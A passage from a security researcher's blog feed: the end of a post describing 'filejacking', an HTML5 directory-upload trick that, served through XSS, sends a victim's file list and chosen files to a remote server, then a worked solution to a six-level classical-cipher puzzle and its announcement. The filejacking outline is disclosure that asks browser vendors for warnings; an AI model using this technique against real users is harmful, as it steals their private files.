&lt;li&gt;the new window sends the file list from the chosen directory to the server&lt;/li&gt;
&lt;li&gt;additionally, it uploads one sample image, if it finds one in your directory&lt;/li&gt;
&lt;li&gt;.. and polls the server repeatedly for further commands&lt;/li&gt;
&lt;li&gt;server control panel gets the list of connected clients and their files&lt;/li&gt;
&lt;li&gt;server operator can choose the files to download&lt;/li&gt;
&lt;li&gt;requests for new files reach the clients, and they send the files back&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;b&gt;Your browser has now become a file server&lt;/b&gt;, serving files from your chosen directory. More features follow!&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;cross domain&lt;/li&gt;
&lt;li&gt;easily served through XSS vulnerability&lt;/li&gt;
&lt;li&gt;server/client could be automated to e.g. send all Excel files at once.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;and, it's HTML5 compatible&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Nifty!&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Brave new world?&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;Current web applications demand more power from browsers. With features like&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;directory upload,&amp;nbsp;&lt;/li&gt;
&lt;li&gt;offline storage,&amp;nbsp;&lt;/li&gt;
&lt;li&gt;drag &amp;amp; drop support&lt;/li&gt;
&lt;li&gt;extensive styling&lt;/li&gt;
&lt;li&gt;audio &amp;amp; video support&lt;/li&gt;
&lt;li&gt;WebSockets&lt;/li&gt;
&lt;li&gt;notifications&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;they're getting closer to desktop applications each year. Granted, they all run in a browser "sandbox" with its security policies.&lt;br /&gt;
&lt;br /&gt;
However, &lt;i&gt;users&lt;/i&gt; are not aware of what current browser can do, so they can be tricked into running the malicious app. And, with XSS being so popular, malicious app may be pretty much every site on the Internet.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
Browser vendors try to educate users and prevent them from choosing unsafe settings (Geolocation bar is an example). Shouldn't similar 'warning' be displayed when using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;input type=file directory&lt;/span&gt; ? After all, it's only one click away and the risks of sharing a whole directory are huge. So, WebKit, what do you think?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-5797160857430300360?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/u7h03yaVv1M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/5797160857430300360/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=5797160857430300360" title="12 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/5797160857430300360?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/5797160857430300360?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/u7h03yaVv1M/how-to-make-file-server-from-your.html" title="Filejacking: How to make a file server from your browser (with HTML5 of course)" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-NE-Me3_s85Y/Tabtdy84qoI/AAAAAAAAErI/98szHFtzHRE/s72-c/WinFormsOpenFileDialog.jpg" height="72" width="72" /><thr:total>12</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/04/how-to-make-file-server-from-your.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkIAQH06fip7ImA9WhZTGUU.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4762443677827983045</id><published>2011-03-24T12:57:00.003+01:00</published><updated>2011-03-24T16:29:01.316+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-24T16:29:01.316+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cryptography" /><category scheme="http://www.blogger.com/atom/ns#" term="hack" /><title>How to Beathis! challenge - the solutions</title><content type="html">&lt;a href="http://blog.kotowicz.net/2011/03/simple-cryptoanalysis-challenge.html"&gt;Beatthis! cryptoanalysis challenge&lt;/a&gt; turned out to be pretty popular. Some of you have been asking me for additional tips, some of you shared the happiness of completing the levels, most of you probably cursed a lot ;) &lt;b&gt;I'd like to thank&lt;/b&gt; &lt;b&gt;all the participants&lt;/b&gt; for their time, I hope you liked this hackme. But of course my congratulations go to all of you who solved all levels:&lt;br /&gt;
&lt;div&gt;&lt;ol&gt;&lt;li&gt;mrrr (&lt;a href="http://twitter.com/gynvael"&gt;@gynvael&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;hellman (&lt;a href="http://twitter.com/hellman1908"&gt;@hellman1908&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://twitter.com/internot_"&gt;@internot_&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;carstein (&lt;a href="http://twitter.com/m_melewski"&gt;@m_melewski&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;wrrr (Kuba - jakubk at mp dot pl)&lt;/li&gt;
&lt;li&gt;dxp (&lt;a href="http://twitter.com/dxp2532"&gt;@dxp2532&lt;/a&gt;)&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;You're all my personal heroes! Now it's time to reveal all the secrets - one by one. If you still want to finish the challenge by yourself, don't read up. &lt;b&gt;There are spoilers ahead!&lt;/b&gt;&lt;br /&gt;
&lt;h2&gt;Free gifts for everyone!!111&lt;/h2&gt;But before that, let me present &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/beatthis"&gt;a few cryptographic tools&lt;/a&gt;&amp;nbsp;created while preparing this challenge, together with cipher/plaintexts for all levels. It's a gift for you for trying the challenge. Download it, test it, do what you want with it. Enjoy! Now, let's begin with...&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;Level 1&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;This was the &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/1.cipher"&gt;file&lt;/a&gt;:&lt;/div&gt;&lt;pre class="text" name="code"&gt;V2hhdCBjb3VsZCBiZSBzaW1wbGVyIHRoYW4gc29tZSBzaW1wbGUgYmFzZTY0ICJjaXBoZXIiPyBU
aGUgY29kZQpmb3IgbmV4dCBsZXZlbCBpcyBCQUJBSkFHQUVWSUxLTklFVkVMCg==&lt;/pre&gt;&lt;div&gt;Obviously, it's &lt;a href="http://en.wikipedia.org/wiki/Base64"&gt;base64&lt;/a&gt; encoded (the range of characters used and the ending &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;==&lt;/span&gt; give this away). Notice the difference - en&lt;b&gt;coded&lt;/b&gt;, not en&lt;b&gt;crypted&lt;/b&gt;. There is no encryption here, it's just a simple starter. Decoding this with e.g. this online &lt;a href="http://www.motobit.com/util/base64-decoder-encoder.asp"&gt;decoder&lt;/a&gt;&amp;nbsp;gave you the passphrase to the next level.&lt;br /&gt;
&lt;h2&gt;Level 2&lt;/h2&gt;The ciphertext was also base64 encoded, but the decoded text looked like this:&lt;br /&gt;
&lt;pre class="text" name="code"&gt;Pvgrq Sebz uggc://ra.jvxvcrqvn.bet/jvxv/EBG13
EBG13 vf na rknzcyr bs gur rapelcgvba nytbevguz xabja nf n Pnrfne pvcure, nggevohgrq gb Whyvhf Pnrfne va gur 1fg praghel OP.[5]
&lt;/pre&gt;.. which is simply ROT13-encoded file, given away e.g. by the fact, that only letters are being transformed, and that&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;uggc://ra.jvxvcrqvn.bet/jvxv/EBG13&lt;/span&gt;&amp;nbsp;looks like an URL.One &lt;a href="http://www.degraeve.com/rot13.php"&gt;ROT13 decoder&lt;/a&gt; away are we're in...&lt;br /&gt;
&lt;h2&gt;Level 3&lt;/h2&gt;Again, base64 to start the fun, and then:&lt;br /&gt;
&lt;pre class="text" name="code"&gt;p=D@[ FD:?8 #~%\2?JE9:?8 H:== ?@E 86E J@F 2?JH96C6 3FE E@ E96 ?6IE =6G6= H:E9 E9:D (p}}pqtr#*!%~p}p{*$% &amp;lt;6J]
&lt;/pre&gt;Ouch. This one doesn't look so good... But you could quickly (or hours later) see that&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;the symbols are all in lower half of ASCII table (0-127)&lt;/li&gt;
&lt;li&gt;it looks like the spaces are not modified, as they appear too often&lt;/li&gt;
&lt;/ul&gt;Starting the frequency analysis, you can e.g.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;replace the most common letters in the ciphertext (you can find them e.g. with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/histogram.py"&gt;histogram.py&lt;/a&gt;&lt;/span&gt;) with the&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language"&gt;most common letters in English&lt;/a&gt;&amp;nbsp;(e,t,a)&lt;/li&gt;
&lt;li&gt;identify short words and try to match them with short words in English (like "to", "me")&lt;/li&gt;
&lt;li&gt;guess another missing letters, and uncover letters one by one&lt;/li&gt;
&lt;ul&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;The process could look like this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-EHO4xtilUys/TYlBJrqjWfI/AAAAAAAAEqM/inlC-PCP-G4/s1600/koto%2540xps%253A+%257E-dev-cryptography_014.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="https://lh3.googleusercontent.com/-EHO4xtilUys/TYlBJrqjWfI/AAAAAAAAEqM/inlC-PCP-G4/s400/koto%2540xps%253A+%257E-dev-cryptography_014.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;When you get bored, or reach a dead end, you will eventually encounter the "&lt;b&gt;Why 13?&lt;/b&gt;" hint &lt;i&gt;and&lt;/i&gt; calculate that the replaced characters byte values are shifted by&amp;nbsp;&lt;b&gt;47&lt;/b&gt;. Previous level was ROT13, and this one is &lt;a href="http://en.wikipedia.org/wiki/ROT13#Variants"&gt;ROT47&lt;/a&gt; - his lesser known brother. Quick googling to decode it and on to the next level.&lt;br /&gt;
&lt;h2&gt;Level 4&lt;/h2&gt;This is a breakthrough level - the previous ones were quick warmups easily solvable with Google, &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/4.cipher"&gt;this one&lt;/a&gt; requires doing some actual analysis.&lt;br /&gt;
&lt;pre class="text" name="code"&gt;Jv{&amp;gt;FQL&amp;gt;qn{ljql&amp;gt;wm&amp;gt;{fjl{s{rg&amp;gt;}qssqp&amp;gt;m&amp;gt;&amp;gt;}qsnqp{pj&amp;gt;wp&amp;gt;sql{&amp;gt;}qsnr{
etc.
&lt;/pre&gt;Let's look deeper with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;histogram.py&lt;/span&gt;:&lt;br /&gt;
&lt;pre class="text" name="code"&gt;$ ./histogram.py 4.cipher 
col 0:
-------------
   '&amp;gt;' 3E  62 00111110 0.1767 *
   '{' 7B 123 01111011 0.1186 
   'j' 6A 106 01101010 0.0651 
   'm' 6D 109 01101101 0.0616 
   'w' 77 119 01110111 0.0605 
   'p' 70 112 01110000 0.0535 
   'l' 6C 108 01101100 0.0523 
   'q' 71 113 01110001 0.0512 
'\x7f' 7F 127 01111111 0.0488 
   'v' 76 118 01110110 0.0314 
....
$ ./histogram.py 4.cipher | wc -l
43
&lt;/pre&gt;There's 40-something symbols, with non-uniform distribution. The output simply lists all occuring bytes in the file, sorted by frequency (last column). The file is filled with 17% of "&amp;gt;" - that's a lot.&amp;nbsp;For comparison, here's the distribution for English text (article from Wikipedia):&lt;br /&gt;
&lt;pre class="text" name="code"&gt;$ ./histogram.py english.txt 
col 0:
-------------
   ' ' 20  32 00100000 0.1614 *
   'e' 65 101 01100101 0.1085 
   'a' 61  97 01100001 0.0637 
   't' 74 116 01110100 0.0542 
   'n' 6E 110 01101110 0.0500 
   'i' 69 105 01101001 0.0498 
   'r' 72 114 01110010 0.0479 
   's' 73 115 01110011 0.0451 
   'o' 6F 111 01101111 0.0440 
   'l' 6C 108 01101100 0.0388 
   'h' 68 104 01101000 0.0351  
&lt;/pre&gt;Looking pretty similar, don't they? So, we match: &lt;b&gt;&amp;gt;&lt;/b&gt; is &lt;b&gt;SPACE&lt;/b&gt;, &lt;b&gt;{&lt;/b&gt; is &lt;b&gt;e&lt;/b&gt; and &lt;b&gt;j&lt;/b&gt; is &lt;b&gt;a&lt;/b&gt;. And we might continue with the path from previous exercises, trying to decipher each character, but there's a faster way. Let's look at the bits (red - ciphertext, purple - English text):&lt;br /&gt;
&lt;pre class=""&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;   '&amp;gt;' 3E  62 001&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;1111&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;0 0.1767 *&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
 &lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="color: #351c75;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;  ' ' 20  32 001&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;0000&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;0 0.1614 *&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;   '{' 7B 123 011&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;1101&lt;/span&gt;1 0.1186 &lt;/span&gt;
 &lt;span class="Apple-style-span" style="color: #351c75;"&gt;  'e' 65 101 011&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;0010&lt;/span&gt;1 0.1085 &lt;/span&gt;
&lt;/pre&gt;This highlighted bits in most common letters in text are clearly related - they are negated. Or XORed with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0b00011110 = 30&lt;/span&gt;. Let's test this with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/xor.py"&gt;xor.py&lt;/a&gt;&lt;/span&gt;:&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;$ ./xor.py 4.cipher 30 | head -n 1
The XOR operator is extremely common as a component in more complex ciphers. By itself, [...]
&lt;/pre&gt;Yup, we're right. This is &lt;i&gt;solving with the glove&amp;nbsp;&lt;/i&gt;i.e. reasoning &amp;amp; deduction with the help of frequency analysis. It can also be solved &lt;i&gt;with a hammer&lt;/i&gt;&amp;nbsp;- XOR/ROL/ADDing all 256 combinations of a key for a meaningful plaintext.&lt;br /&gt;
&lt;h2&gt;Level 5&lt;/h2&gt;Is a &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/raw/master/beatthis/5.cipher"&gt;ZIP file&lt;/a&gt; (simple to tell when you see &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;PK&lt;/span&gt; at the beginning) . Unpacking the zip gives us a single file, but with a byte distribution that is 'flat':&lt;/div&gt;&lt;pre class="text" name="code"&gt;'\xcf' CF 207 11001111 0.0577 *
'\x8d' 8D 141 10001101 0.0449 
'\x9e' 9E 158 10011110 0.0385 
'\xbb' BB 187 10111011 0.0353 
'\xfe' FE 254 11111110 0.0321 
'\x8a' 8A 138 10001010 0.0321 
'\xdb' DB 219 11011011 0.0321 
&lt;/pre&gt;That's not good. The hint tells us that "&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;i&gt;One is lame&lt;/i&gt;&lt;/span&gt;" - could this mean that the key is longer than one byte? It would explain the flattened histogram. There are a few ways to find the key length, but let's just skip them for this level and let's use that last hint - "&lt;i&gt;you have it all, the key is there&lt;/i&gt;". Yes, it's&lt;b&gt; in the file&lt;/b&gt; itself, stuck at the end, as a &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;DEADBEEF&lt;/span&gt;. So, first byte is XORed with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0xDE&lt;/span&gt;, 2nd - with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0xAD&lt;/span&gt;, and so on, looping over the key. It's an example of (sort-of) &lt;a href="http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher"&gt;Vigenere&lt;/a&gt; cipher.&lt;br /&gt;
&lt;br /&gt;
Sidenote: It's a common practice for programmers to use XOR with a random number and then glue it somewhere with ciphertext. Please don't do that, it makes me cry like a baby and I don't like crying (well, unless I'm watching Titanic).&lt;br /&gt;
&lt;br /&gt;
Decrypting with&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;xor.py&lt;/span&gt;&amp;nbsp;is successful.&amp;nbsp;The passphrase mentions "Friedman's thingy", and we're ready&amp;nbsp;for the final level.&lt;br /&gt;
&lt;h2&gt;Level 6&lt;/h2&gt;Does &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/6.cipher"&gt;that file&lt;/a&gt; resemble anything? Look at the previous level .bin file, compare. The structure seems similar, but there's QJ, not PK at the beginning. Well, not when you XOR it with 1, getting the almost-valid ZIP file in return. &lt;b&gt;Almost valid, because I screwed up &lt;/b&gt;editing the file, but thankfully, the ZIP could be unpacked by at least a few unpackers (Linux &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;unzip&lt;/span&gt;, WinRAR).&lt;br /&gt;
&lt;br /&gt;
Could be, provided you knew the &lt;b&gt;password&lt;/b&gt;. The zip contained a single file - &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;drowssap&lt;/span&gt;. As for the password, you could brute force it with anything you like, or just enter the most common one: "&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;password&lt;/span&gt;" (drowssap in reverse).&lt;br /&gt;
&lt;br /&gt;
After unpacking the file, you should be pretty much clueless. There's around 100 different characters in the file - more than in usual English texts (60-70 for Wikipedia articles), so it's probably using some multibyte key (or &lt;a href="http://en.wikipedia.org/wiki/Substitution_cipher#Homophonic_substitution"&gt;homophonic substitution&lt;/a&gt;). Bruteforcing the key would take too long, to do frequency analysis and start uncovering letters one-by-one we need to know the key length. But this time it's not stored anywhere in the file.&lt;br /&gt;
&lt;br /&gt;
There must be a different way - and there is! Remember the last passphrase? "&lt;b&gt;Let's try this Friedman's thingy&lt;/b&gt;" - what is that all about? Wikipedia article on&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher"&gt;Vigenere&lt;/a&gt; cipher tells us that "The Kasiski and Friedman tests can help determine the key length".&lt;br /&gt;
&lt;br /&gt;
Great! Just what we need. This time you'll have to write a program counting &lt;a href="http://en.wikipedia.org/wiki/Index_of_coincidence"&gt;Index of Coincidence&lt;/a&gt;&amp;nbsp;to determine the key length&amp;nbsp;(as an additional hint IoC definition was also cited in &lt;a href="http://blog.kotowicz.net/2011/03/simple-cryptoanalysis-challenge.html"&gt;my blog post announing Beatthis!&lt;/a&gt;). The example on Wikipedia IoC article is very good explanation, so I won't try to be smarter . Writing the program is a great excersie, but if you're lazy, just use mine: &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/break.py"&gt;break.py&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;pre class="brush:text; highlight:[8,13,18,23]" name="code"&gt;$ scripts/break.py drowssap english.txt 
Guessing key length...
IC: 16.0056153949
1 4.5598898258327143 (11.445725569)
2 4.5263998965036087 (11.4792154984)
3 4.6351954511917084 (11.3704199437)
4 4.3566207548108 (11.6489946401)
5 16.613403570383376 (0.607788175501)
6 4.538307420468576 (11.4673079744)
7 4.249386352479136 (11.7562290424)
8 4.3937767878235636 (11.6118386071)
9 4.8772309151256525 (11.1283844798)
10 16.468332136110892 (0.462716741229)
11 4.643879300674647 (11.3617360942)
12 4.1983747246905141 (11.8072406702)
13 4.3670083864739384 (11.6386070084)
14 4.1592126212187015 (11.8464027737)
15 17.909881422924901 (1.90426602804)
16 4.058450152607838 (11.9471652423)
17 4.3184885290148447 (11.6871268659)
18 4.6497023339128596 (11.355913061)
19 4.4484544695071007 (11.5571609254)
20 15.707664884135474 (0.297950510746)
21 4.0888144113950551 (11.9168009835)
&lt;/pre&gt;This one counts the IoC for our ciphertext, probing different lengths, also comparing this with IoC of some sample English text. You can clearly see, that every &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;5*x&lt;/span&gt; length is giving a much higher result. That's because 5 is the length of a key.&lt;br /&gt;
&lt;br /&gt;
Now you can try the frequency analysis on each column. (e.g. get byte 1, 6, 11, 16, ... and anylyze them separately, then bytes 2,7,12,17,22 etc.). Or follow Wikipedia example and try maximizing correlation (see Wikipedia for details). Again, write your own or use &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;break.py&lt;/span&gt; for this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush:text; highlight:[6,10,14,18,22]" name="code"&gt;$ scripts/break.py drowssap english.txt 5
Assuming key length 5

Column 0:
Best matches:[('xor', 30), ('xor', 91), ('add', 226)]
Chosen function: xor:30

Column 1:
Best matches:[('xor', 40), ('add', 24), ('rol', 2)]
Chosen function: xor:40

Column 2:
Best matches:[('xor', 50), ('add', 14), ('xor', 119)]
Chosen function: xor:50

Column 3:
Best matches:[('xor', 60), ('xor', 121), ('add', 4)]
Chosen function: xor:60

Column 4:
Best matches:[('xor', 70), ('xor', 3), ('xor', 87)]
Chosen function: xor:70
Guessed plaintext:
Congratulations! You broke the unbreakable, indecipherable cipher, commonly named as Vigenere cipher.[...]
&lt;/pre&gt;&lt;br /&gt;
It turned out that the key was 5 bytes long, with bytes (decimal) 30,40,50,60,70. Easy when you know it upfront :)&lt;br /&gt;
&lt;h2&gt;Final notes&lt;/h2&gt;Once again, thank you all for participating. I hope you had at least so much fun playing as me preparing it. Like I said before, for your participation - take a look at the &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/beatthis"&gt;scripts&lt;/a&gt;, try to play with them all, fork &amp;amp; improve them, fix their bugs - let them live on their own.&lt;br /&gt;
&lt;br /&gt;
With &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/break.py"&gt;break.py&lt;/a&gt;&lt;/span&gt; levels 4,5,6 (after unzipping) are solvable in seconds. &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/histogram.py"&gt;histogram.py&lt;/a&gt;&lt;/span&gt; helps analyzing all levels, &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/beatthis/scripts/xor.py"&gt;xor.py&lt;/a&gt;&lt;/span&gt; is good for encrypting/decrypting, others are just helpers.&lt;br /&gt;
&lt;br /&gt;
Beatthis! is still online (and probably will be for weeks, until someone starts abusing it with bruteforce), so you can test the scripts or try other methods. Let me know what is your opinion on the challenge, were the levels too hard or too easy, how did you solve them, what stopped you - &lt;b&gt;I really want to hear&lt;/b&gt;. Till next time!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4762443677827983045?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/r-zM4whtlO8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4762443677827983045/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4762443677827983045" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4762443677827983045?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4762443677827983045?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/r-zM4whtlO8/how-to-beathis-challenge-solutions.html" title="How to Beathis! challenge - the solutions" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-EHO4xtilUys/TYlBJrqjWfI/AAAAAAAAEqM/inlC-PCP-G4/s72-c/koto%2540xps%253A+%257E-dev-cryptography_014.png" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/03/how-to-beathis-challenge-solutions.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYDSHY4fyp7ImA9WhZTFk4.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-5840743007791855215</id><published>2011-03-20T16:49:00.000+01:00</published><updated>2011-03-20T16:49:39.837+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-20T16:49:39.837+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cryptography" /><category scheme="http://www.blogger.com/atom/ns#" term="hack" /><title>A simple cryptoanalysis challenge</title><content type="html">If you like solving puzzles, if you're into breaking things and if you at least know how to read this thing aloud:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-kVM6j0HLnxg/TYYgmkgUavI/AAAAAAAAEqI/BID1V_o2duc/s1600/ac1663d7c0e1a8aed5fe3abfbda77881.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-kVM6j0HLnxg/TYYgmkgUavI/AAAAAAAAEqI/BID1V_o2duc/s1600/ac1663d7c0e1a8aed5fe3abfbda77881.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
I think you will appreciate my newest, 6 level challenge - it's simpler than you think, and the levels get increasingly harder, so there's something for everyone.&lt;br /&gt;
&lt;br /&gt;
Without further ado, I present to you:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;a href="http://kotowicz.net/beatthis/"&gt;Beatthis! crypto challenge&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: left;"&gt;Please share the link!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-5840743007791855215?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/tqdpZynw3Ds" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/5840743007791855215/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=5840743007791855215" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/5840743007791855215?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/5840743007791855215?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/tqdpZynw3Ds/simple-cryptoanalysis-challenge.html" title="A simple cryptoanalysis challenge" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-kVM6j0HLnxg/TYYgmkgUavI/AAAAAAAAEqI/BID1V_o2duc/s72-c/ac1663d7c0e1a8aed5fe3abfbda77881.png" height="72" 